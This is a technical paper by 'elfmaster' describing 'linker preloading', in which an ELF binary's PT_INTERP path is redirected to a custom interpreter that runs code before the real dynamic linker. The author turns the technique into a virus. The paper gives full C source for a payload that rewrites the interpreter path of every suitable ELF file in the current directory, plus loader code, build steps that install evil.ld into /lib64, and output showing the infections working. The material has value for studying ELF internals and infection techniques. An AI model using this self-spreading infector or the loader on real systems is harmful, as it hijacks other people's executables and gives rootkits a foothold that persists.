┌───────────────────────┐
                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                       │ █   █ █ █ █   █       │
                                                       │ █   █ █ █ █▀▀▀▀       │
                                                       │ █   █   █ █     ▄     │
                                                       │                 ▄▄▄▄▄ │
                                                       │                 █   █ │
                                                       │                 █   █ │
                                                       │                 █▄▄▄█ │
                                                       │                 ▄   ▄ │
                                                       │                 █   █ │
                                                       │                 █   █ │
                                                       │                 █▄▄▄█ │
                                                       │                 ▄▄▄▄▄ │
                                                       │                   █   │
Preloading the linker for fun and profit               │                   █   │
~ elfmaster                                            └───────────────────█ ──┘

-= Introduction

Let's jump right in, and begin this paper by defining "Linker preloading". This
technique refers to the idea that one can maniuplate the kernels ELF loader
(see linux/fs/binfmt_elf.c) to pass execution to a custom program interpreter
instead of the real dynamic linker. 

Note that the term 'program interpreter' usually refers to the dynamic linker,
i.e. "/lib64/ld-linux.so". Also known as the RTLD (Runtime loader).
This paper is about creating an alternate 'program interpreter' which is loaded
prior to the dynamic linker itself.

Do not confuse the "linker preloading" technique with "shared library
preloading". The LD_PRELOAD environment variable instructs the dynamic linker
to preload a specific set of shared libraries before all others.  The technique
that we are presenting preloads the dynamic linker (i.e. "/lib64/ld-linux.so")
and an alternative program interpreter is invoked instead.

When pondering the concept of writing a custom ELF program interpreter, we realize
that the possiblities are vast. Process isntrumentation, module loading,
program transformation, etc.  Our example runtime linker is just a minimal
example of a module loader, which loads relocatable objects into memory and
creates a runtime environment for modules to execute prior to the RTLD.

From an attackers perspective one can use this concept to trivially design
rootkits, viruses, and other APT (Advanced persistent threats) variants. From a
security perspective I see the possibility of using the concepts from this
paper to build security modules for hardening the process image and mitigating
many types of attacks. However, in the spirit of being exotic and innovative I
have decided to weaponize this concept into a modular Virus infector that
spreads itself via linker preloading.

-= Understanding the technique

Let us first elaborate on how this Linker preloading technique works. Recall
that dynamically linked executables have a program header type called
'PT_INTERP' which holds the path to the RTLD, usually "/lib64/ld-linux.so".
This path can easily be replaced with the path of the program interpreter that
we wish to preload. We say "preload" because we are loading our custom
interpreter prior to the real interpreter, the Linux RTLD.

NOTE: Terms "Runtime Linker" and "Program interpreter" are used interchangeably in
this paper.

Let's take a quick look at the PT_INTERP segment of any dynamic ELF executable.

$ readelf -l /bin/ls | grep -C 2 INTERP
  
  INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]

We can see that the interpreter path offset is at offset 0x318 within the ELF
file. This NULL terminated string can be replaced with "/lib64/evil.ld", which
is the path to our custom runtime linker.

-= Execution flow of linker preloading

[kernel]
	\
	[/lib64/evil.ld]------------------>[/lib64/ld-linux.so]---------------->[/bin/ls]
			\
			[virus_module.o]


As we can see in the ascii diagram above. The kernel reads the PT_INTERP
segment to get the path to the program interpreter. Execution flow is
transferred to /lib64/evil.ld which is our custom program interpreter for
loading and linking runtime modules. This creates a runtime environment for
parasitic code that is modular and dynamic while not tripping the usual
detection heuristics for ELF infections.  This infection technique is by itself
benign as it's intentions are determined by the code within the module
itself. In our PoC the module is a Virus which infects other binaries by
replacing their interpreter path to point to "/lib64/evil.ld" which in turn
causes the infected binary to load the "virus_module.o", and so on and so
forth.

-= The Linux kernel ELF loader

Let us break down the algorithm for linker preloading. It is first helpful to
get some insight into the ELF binary loading functionality in the kernel.
The function load_elf_binary() looks to see if a PT_INTERP segment exists,
if so then it maps the specified program interpreter into the process address
space and passes control to it.

In the following code snippet we can see where load_elf_binary() finds the
PT_INTERP segment, reads the path of the program interpreter (Usually
"/lib64/ld-linux.so") and then opens the interpreter.

/usr/src/linux/fs/binfmt_elf.c:722
        ... snippet ...

	elf_ppnt = elf_phdata;
        for (i = 0; i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {
                char *elf_interpreter;
                loff_t pos;

                if (elf_ppnt->p_type != PT_INTERP)
                        continue;

                /*
                 * This is the program interpreter used for shared libraries -
                 * for now assume that this is an a.out format binary.
                 */
                retval = -ENOEXEC;
                if (elf_ppnt->p_filesz > PATH_MAX || elf_ppnt->p_filesz < 2)
                        goto out_free_ph;

                retval = -ENOMEM;
                elf_interpreter = kmalloc(elf_ppnt->p_filesz, GFP_KERNEL);
                if (!elf_interpreter)
                        goto out_free_ph;

                pos = elf_ppnt->p_offset;
                retval = kernel_read(bprm->file, elf_interpreter,
                                     elf_ppnt->p_filesz, &pos);
                if (retval != elf_ppnt->p_filesz) {
                        if (retval >= 0)
                                retval = -EIO;
                        goto out_free_interp;
                }
                /* make sure path is NULL terminated */
                retval = -ENOEXEC;
                if (elf_interpreter[elf_ppnt->p_filesz - 1] != '\0')
                        goto out_free_interp;

                interpreter = open_exec(elf_interpreter);
                kfree(elf_interpreter);
                retval = PTR_ERR(interpreter);
                if (IS_ERR(interpreter))
                        goto out_free_ph;

	... snippet ...

The code then goes on to accomplish the following:

1. Maps the interpreter's ELF segments into the process address space.
2. Maps the target executable's ELF segments into memory
3. Sets up the auxiliary vector on the stack for use by the interpreter
4. Passes control to the entry point of the interpreter if it exists, otherwise
   to the target executable

If we skip to the end of load_elf_binary() we can see where control is passed to
the entry point address of the program interpreter.

/usr/src/linux/fs/binfmt_elf.c:1138

	... snippet ...

        regs = current_pt_regs();
#ifdef ELF_PLAT_INIT
        /*
         * The ABI may specify that certain registers be set up in special
         * ways (on i386 %edx is the address of a DT_FINI function, for
         * example.  In addition, it may also specify (eg, PowerPC64 ELF)
         * that the e_entry field is the address of the function descriptor
         * for the startup routine, rather than the address of the startup
         * routine itself.  This macro performs whatever initialization to
         * the regs structure is required as well as any relocations to the
         * function descriptor entries when executing dynamically links apps.
         */
        ELF_PLAT_INIT(regs, reloc_func_desc);
#endif

        finalize_exec(bprm);
        start_thread(regs, elf_entry, bprm->p);

	... snippet ...

We can see that start_thread() is invoked to execute the code at the entry
point address of the interpreter. What a beautiful place to hook! We can
instruct the kernel ELF loader to run an arbitrary program (the specified
program interpreter). One can only use their imagination as to how this concept
could be employed in many brilliant and unique ways.

-= Designing a custom interpreter for loading modules

Let us discuss our design goal. We want to write a custom interpreter who's
purpose is to surreptitiously load an execute modular code prior to passing
control to the real dynamic linker "/lib64/ld-linux.so" (aka RTLD).

Our modules are written in C and compiled as relocatable objects. The module
entry point is main(). The C code may make calls to libc. When the code is
compiled into a relocatable code object it has all of the relocation data
necessary to link it into an executable ELF runtime image with a PLT and a GOT
for resolving calls into libc.  Since our interpreter is running before the
dynamic linker, how then do we expect our module to make libc calls? The
musl-libc library is statically linked into the interpreter and we can handle
PLT call relocations by resolving them to the libc symbols within the custom
interpreter itself. This can of course be improved upon, but for now having
access to only libc is still enough to write fairly sophisticated modules
without alot of work.

Let us take a look at the module source code which serves as the Virus payload.
It has no malicious payload rather it simply just copies itself by infecting
other binaries by manipulating the PT_INTERP segment.

https://github.com/elfmaster/linker_preloading_virus/virus_payload.c

#define EVIL_LINKER_PATH "/opt/evil_linker/evil.ld"

int infect_file(char *filename)
{
        int fd, i;
        uint8_t *mem;
        struct stat st;
        Elf64_Ehdr *ehdr;
        Elf64_Phdr *phdr;
        char *interp_path = NULL;

        fd = open(filename, O_RDWR);
        if (fd < 0) {
                perror("open");
                return -1;
        }
        if (fstat(fd, &st) < 0) {
                perror("fstat");
                return -1;
        }
        mem = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mem == NULL) {
                perror("mmap");
                return -1;
        }
        ehdr = (Elf64_Ehdr *)mem;
        phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
        for (i = 0; i < ehdr->e_phnum; i++) {
                if (phdr[i].p_type == PT_INTERP) {
                        if (strcmp((char *)&mem[phdr[i].p_offset], EVIL_LINKER_PATH) == 0) {
                                printf("File '%s' is already infected\n", filename);
                                munmap(mem, st.st_size);
                                return 0;
                        }
                       interp_path = (char *)&mem[phdr[i].p_offset];
                        break;
                }
        }
        if (interp_path != NULL) {
                strcpy(interp_path, EVIL_LINKER_PATH);
                printf("Updating the PT_INTERP with '%s'\n", EVIL_LINKER_PATH);
                printf("Successfully infected file '%s'\n", filename);
        }
        munmap(mem, st.st_size);
        return 0;
}
/*
 * Check if filename points to an ELF file we
 * can infect.
 */
int check_criteria(char *filename)
{
        int fd, dynamic, i, ret = 0;
        struct stat st;
        Elf64_Ehdr *ehdr;
        Elf64_Phdr *phdr;
        uint8_t mem[4096];
        uint32_t magic;

        fd = open(filename, O_RDONLY, 0);
        if (fd < 0)
                return false;
        if (read(fd, mem, 4096) < 0)
                return false;
        close(fd);
        ehdr = (Elf64_Ehdr *)mem;
        phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
        if(memcmp("\x7f\x45\x4c\x46", mem, 4) != 0)
                return -1;
        for (i = 0; i < ehdr->e_phnum; i++) {
                if (phdr[i].p_type == PT_INTERP) {
                        char *path = (char *)&mem[phdr[i].p_offset];
                        if (strcmp(path, EVIL_LINKER_PATH) == 0) {
                                /*
                                 * Already infected? Skip this file.
                                 */
                                return false;
                        }
                        break;
                }
        }
        if (ehdr->e_type != ET_EXEC && ehdr->e_type != ET_DYN)
                return false;
        if (ehdr->e_machine != EM_X86_64)
                return false;
        return true;
}

int main(int argc, char **argv)
{
        char *dir = NULL, **files, *fpath, dbuf[32768];
        struct dirent *d;
        DIR *dp;

        dp = opendir(".");
        if (dp == NULL) {
                perror("opendir");
                return -1;
        }
        while ((d = readdir(dp)) != NULL) {
                if (check_criteria(d->d_name) == true) {
                        infect_file(d->d_name);
                }
        }
        return 0;
}

The virus_payload.c module looks for all of uninfected ELF files in the local
directory and infects them by replacing the interpreter path with
"/lib64/evil.ld"

Let's compile virus_payload.c into a relocatable object and take a look at
which relocation types are created for linking purposes.

$ gcc -c virus_payload.c
$ readelf -r virus_payload.o

	... truncated output ...
Relocation section '.rela.text' at offset 0x970 contains 34 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000000033  000c00000004 R_X86_64_PLT32    0000000000000000 open - 4
000000000043  000500000002 R_X86_64_PC32     0000000000000000 .rodata - 4
000000000048  000d00000004 R_X86_64_PLT32    0000000000000000 perror - 4
000000000066  000e00000004 R_X86_64_PLT32    0000000000000000 fstat - 4
000000000071  000500000002 R_X86_64_PC32     0000000000000000 .rodata + 1
000000000076  000d00000004 R_X86_64_PLT32    0000000000000000 perror - 4
0000000000aa  000f00000004 R_X86_64_PLT32    0000000000000000 mmap - 4
	... truncated output ...

I won't bother showing the entire relocation output as it is somewhat long...
The compiler is only emitting relocations for type R_X86_64_PLT32
and R_X86_64_PC32. Our interpreter must be able to resolve these relocation types for
our module code to work. Future design goals may entail being able to handle
other relocation types as the code and/or compiler output varies.

-= An Algorithm for our interpreter

Our program interpreter should execute the following tasks in order.

1. Locate the auxiliary vector address.

We can find the address of auxv by first locating `char **envp` on the stack, and
then iterating to it's last entry + 1. The auxiliary vector exists at the top of the
stack right after the environment variable pointers.

-- Diagram of auxiliary vector on x86 stack.

LOW MEMORY				      HIGH MEMORY
<------------------------------------------------------->
[argc][argv0 ... argvN][envp0 ... envpN][auxilary vector]


2. Parse the auxiliary vector and store it's values for later use

The auxiliary vector contains key/value pairs that are pertinent to the dynamic
linker's ability to locate itself and the target executable in memory. It
contains key/value pairs that are also important to our custom interpreter.

3. Map the dynamic linker segments "/lib64/ld-linux.so" into memory.

We need to map each PT_LOAD segment of the dynamic linker "/lib64/ld-linux.so"
into memory at the correct page aligned virtual address. The entry point
address taken from the ELF file header is an offset value that must be computed
with the base address of the text segment and stored for later use in step 10.

4. Set the auxiliary vector entry AT_BASE to the address of the text segment of
the now mapped in "/lib64/ld-linux.so".

Auxiliary vector values are just stack values and can thus be re-written. When
the kernel maps the program interpreter into memory it sets the auxiliary entry
AT_BASE to the base address of the mapped ELF interpreter. 

When we transfer execution flow from one interpreter (i.e. "/lib64/evil.ld") to
another (i.e. "/lib64/ld-linux.so"), the source interpreter must reset AT_BASE
from it's own base address to the base address of the destination interpreter.
Interpreter's must know their own base address if they are PIE so that they can
perform relative relocations on their own code and data at runtime. The dynamic
linker is a shared library and requires many relocations that compute it's own
base address.

5. Parse the relocatable object module file 'virus_payload.o'

The relocation table should be parsed. Any relocations of type R_X86_64_PLT32
should be noted so that enough room can be created in the text segment for PLT
stubs. In our implementation of "/lib64/evil.ld" We use strict linking, and
therefore have very simple PLT stubs:


lp_loader.c:18
```
 // jmp *0x0(%rip)
 uint8_t plt_stub[6] = "\xff\x25\x00\x00\x00\x00";
```

The PLT stub simply does an indirect jump to the respective GOT[entry]. Our
linker implementation is somewhat naive as we create a PLT entry for every PLT
relocation. Sometimes there are multiple PLT relocations for the same symbol,
and our naive linker creates duplicate PLT/GOT's. This can be easily ironed out
in a future version so that a given symbol always corresponds to a single PLT
entry.

6. Create an executable runtime environment suitable for the module to execute
within.  A text segment, data segment, and .bss must be created with anonymous
memory mappings using mmap(2).

Our goal is to create an executable runtime image out of a relocatable object
file. There are no PT_LOAD segments in a relocatable object so we must
determine the size of the text and data segment by looking at the corresponding
section headers.

All sections of type SHF_ALLOC and SHF_ALLOC|SHF_EXEC should be mapped into the
text segment. 

All sections of type SHF_ALLOC|SHF_WRITE shall be mapped into the data segment. 

The .bss size is stored in it's section header's sh_size member. Make sure to
extend the data segment mapping by shdr[.bss].sh_size bytes.

We do not need to create a heap segment, as any calls to malloc() will be run
through musl-libc which is statically linked to our interpreter. Therefore the
module will share a heap segment with the interpreter.

7. Resolve all relocations for the module object.
   
The module may make calls to libc which will be made possible by creating PLT
and GOT entries for the R_X86_64_PLT32 relocations found in the relocatable
object. External calls to libc will be resolved to the musl-libc symbols that
will be statically linked into our interpreter. 

Our example module 'virus_payload.o' only contains R_X86_64_PLT32 and
R_X86_64_PC32 relocation types, which is all our linker currently handles. See
`bool relocate_module(struct evil_linker *linker)` in lp_loader.c.

Let us take a quick look at how to resolve the relocation's that are in our
module object.

Relocation section '.rela.text' at offset 0x970 contains 34 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000000033  000c00000004 R_X86_64_PLT32    0000000000000000 open - 4
000000000043  000500000002 R_X86_64_PC32     0000000000000000 .rodata - 4
... truncated ...


Resolving the R_X86_64_PLT32 relocation type requires that we first have
created a PLT within the modules executable image. Our linker implementation places
the PLT at the very end of the text segment. Call instructions that resolve to
external symbols have a PLT32 relocation that must be resolved. In-fact the
compiler may also emit PLT32 relocations for calls to all GLOBAL symbol types,
even if they are defined locally within the module.

The R_X86_64_PLT32 relocation is for computing and patching in the call offset
to a given PLT entry.  According to the ELF specification the following
computation resolves the relocation: L + A - P

This can be broken down to: 
[open@plt] + rel->r_addend - (text_segment_addr + rel->r_offset)


The R_X86_64_PC32 relocation is used for patching offsets to various
instructions that reference memory, and requires the following computation:
S + A - P

This can be broken down to:
[symval of .rodata] + rel->r_addend - (text_segment_addr + rel->r_offset)

Our implementation of this can be found in lp_loader.c:apply_relocation()

Once the module has been transformed into an executable runtime image who's
relocations have been fully satisified we can transfer control from our
interpreter to the loaded module.

8. Transfer control to the modules main() function with a call instruction.

We transfer control to our Virus module with a call instruction, so that
execution flow returns.  The module's entry point is the address of the symbol
"main". Once the Virus module has finished executing, control is passed back to
our interpreter.

```
static inline void
transfer_to_module(uint64_t entry)
{
        __asm__ __volatile__ ("mov %0, %%rax\n"
                              "call %%rax" :: "r" (entry));
        return;
}
```

9. Transfer control to the Dynamic Linker "/lib64/ld-linux.so"

The dynamic linker is mapped into memory by now, and we should have it's entry
point value stored from step 4. Here are the steps to transferring control to
the dynamic linker:

	1. Clear all of the register values
 
	2. Set the value of RSP to the value of &argc, as the rtld expects.
	
	-- Diagram of auxiliary vector on x86 stack.

	LOW MEMORY                                    HIGH MEMORY
	<------------------------------------------------------->
	[argc][argv0 ... argvN][envp0 ... envpN][auxilary vector]
	
	3. Set the value of RAX to the entry point address of the target executable.

	4. Transfer control to the dynamic linker. Our implementation uses a push/ret to
	jump to the rtld.

	```
	#define LDSO_TRANSFER(stack, addr, entry) __asm__ __volatile__("mov %0, %%rsp\n" \
                                            "push %1\n" \
                                            "mov %2, %%rax\n" \
                                            "mov $0, %%rbx\n" \
                                            "mov $0, %%rcx\n" \
                                            "mov $0, %%rdx\n" \
                                            "mov $0, %%rsi\n" \
                                            "mov $0, %%rdi\n" \
                                            "mov $0, %%rbp\n" \
                                            "mov $0, %%r8\n" \
                                            "mov $0, %%r9\n" \
                                            "mov $0, %%r10\n" \
                                            "mov $0, %%r11\n" \
                                            "mov $0, %%r12\n" \
                                            "mov $0, %%r13\n" \
                                            "mov $0, %%r14\n" \
                                            "mov $0, %%r15\n" \
                                            "ret" :: "r" (stack), "g" (addr), "g"(entry))
	```

Once control is passed to the RTLD our work is done. The RTLD will handle any
relocations for loading shared objects and patching the target executable. RTLD
will then transfer control to the executable's entry point.

-= Compiling and linking our interpreter

We build the interpreter itself as a statically linked executable with a base
text address of 0xa0000000 as specified by a custom linker script. The
interpreter is a standard ET_EXEC ELF executable, and is statically linked with
musl-libc and a slightly modified version of libelfmaster. For our immediate
test and research purposes this was ideal, however the interpreter can also
be built as a PIE executable or a shared library like the RTLD.

- A note on symbol resolution:

When our virus_payload.c code attempts to call musl-libc functions that aren't
in the symbol table of our ELF interpreter they will fail to be resolved.  All
of the musl-libc functions that are not being used by the Interpreter will not
be included in it's symbol table, which we rely on for module symbol
resolution. A workaround solution is to just include every libc symbol being
invoked by your module code into the Makefile for the interpreter using the ld
flag '-undefined=<symbol>'. Another option is to use the linker flag '--whole-archive'
so that all possible symbols from libc are included into the interpreter binary.

- Building a test program

We must have a test program who's Interpreter is "/lib64/ld.evil". See the gcc
flag '--dynamic-linker=':

        gcc -ggdb -Wl,--dynamic-linker=$(INTERP_PATH) test.c -o test

See the Makefile: https://github.com/elfmaster/linker_preloading_virus/blob/main/Makefile

Our test program simply prints a string to printf, however it's PT_INTERP
segment will instruct the kernel to use our custom "/lib/evil.ld" interpreter
instead of the standard RTLD.

$ cat test.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
	printf("I am 'test'. The Host binary of the linker virus\n");
	exit(0);
}

$ readelf -l test | grep interpreter
      [Requesting program interpreter: /lib64/evil.ld]



-= Testing our Virus code

We now have all of the working parts for a modular Virus loading system. We have an
evil linker that loads and executes a Virus payload. The Virus payload infects other
ELF binaries by modifying the PT_INTERP path to "/lib64/evil.ld".


$ ls -l ./virus_test/
total 96
-rwxrwxr-x 1 elfmaster elfmaster    72 Dec  9 15:26 build.sh
-rwxrwxr-x 1 elfmaster elfmaster 16728 Dec  9 15:47 host1
-rwxrwxr-x 1 elfmaster elfmaster 16728 Dec  9 15:47 host2
-rwxrwxr-x 1 elfmaster elfmaster 16728 Dec  9 15:47 host3
-rw-rw-r-- 1 elfmaster elfmaster    95 Dec  9 15:26 host.c
-rwxrwxr-x 1 elfmaster elfmaster 19336 Dec  9 15:26 test
-rw-rw-r-- 1 elfmaster elfmaster  4544 Dec  9 15:26 virus_payload.o
$

The ELF executable 'test' will launch /lib64/evil.ld, and in turn it will link,
load and execute virus_payload.o

The virus_payload.o reads the current working directory and looks for other ELF
binaries to infect: host1, host2, host3

Let's take a quick look at the interpreter path in 'host1' before we run 'test'.

$ readelf -l host1 | grep interpreter
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]


Let us build the interpreter, the virus module, and the test program.

$ git clone https://github.com/elfmaster/linker_preloading_virus
$ cd linker_preloading_virus
$ make 2> out
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_interp.c -o lp_interp.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_iter.c -o lp_iter.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_util.c -o lp_util.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_proc.c -o lp_proc.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_parse_elf.c -o lp_parse_elf.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c libelfmaster.c -o libelfmaster.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c internal.c -o internal.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_load_ldso.c -o lp_load_ldso.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_loader.c -o lp_loader.o
musl-gcc -D_GNU_SOURCE -Wl,-undefined=printf -Wl,-undefined=readdir -Wl,-undefined=opendir -T ./ld.script -static -g lp_interp.o lp_util.o \
	lp_proc.o lp_iter.o lp_parse_elf.o lp_load_ldso.o lp_loader.o \
	libelfmaster.o internal.o -o lp_interp
mkdir -p /opt/evil_linker/
cp lp_interp /lib64/evil.ld
$ make tests
gcc -ggdb -Wl,--dynamic-linker="/lib64/evil.ld" test.c -o test
elfmaster@arcana:~/git/linker_preloading_virus$ make virus 
gcc -c virus_payload.c -fno-stack-protector
cp virus_payload.o virus_test/
cp test virus_test/

Now let us run the ./test program and see what it's effects are.

$ cd virus_test
$ ./test
[!] Module: 'virus_payload.o' linker preloading virus
Attempting to infect 'host3'
Updating the PT_INTERP with '/lib64/evil.ld'
Successfully infected file 'host3'
Attempting to infect 'host2'
Updating the PT_INTERP with '/lib64/evil.ld'
Successfully infected file 'host2'
Attempting to infect 'host1'
Updating the PT_INTERP with '/lib64/evil.ld'
Successfully infected file 'host1'
I am 'test'. The Host binary of the linker virus
$

As we can see from the output above our evil linker was preloaded by the
kernel, and it successfully loaded an executed the module 'virus_payload.o'.
The other ELF binaries within the CWD are infected by PT_INTERP modification.

$ readelf -l host1 | grep interpreter
      [Requesting program interpreter: /lib64/evil.ld]

We have now demonstrated a fully functional modular runtime loader for ELF
viruses and process memory rootkits... Huzzah

-= In closing

We have demonstrated a technique for intercepting the Linux ELF runtime with a
custom program interpreter designed to create a modular ELF Virus loading
mechanism.

I do not intend to utilize the technology presented in this paper for any
future Virus research, although I do hope that the Virus and Rootkit community
appreciate it's elegant qualities.

I mostly find the technology interesting for developing new techniques in
runtime transformation and patching as it pertains to advancing the Linux
runtime into a modular and programmable system for loading modules, plugins and
code patches.

https://github.com/elfmaster/linker_preloading_virus

- ElfMaster
- ryan@bitlackeys.org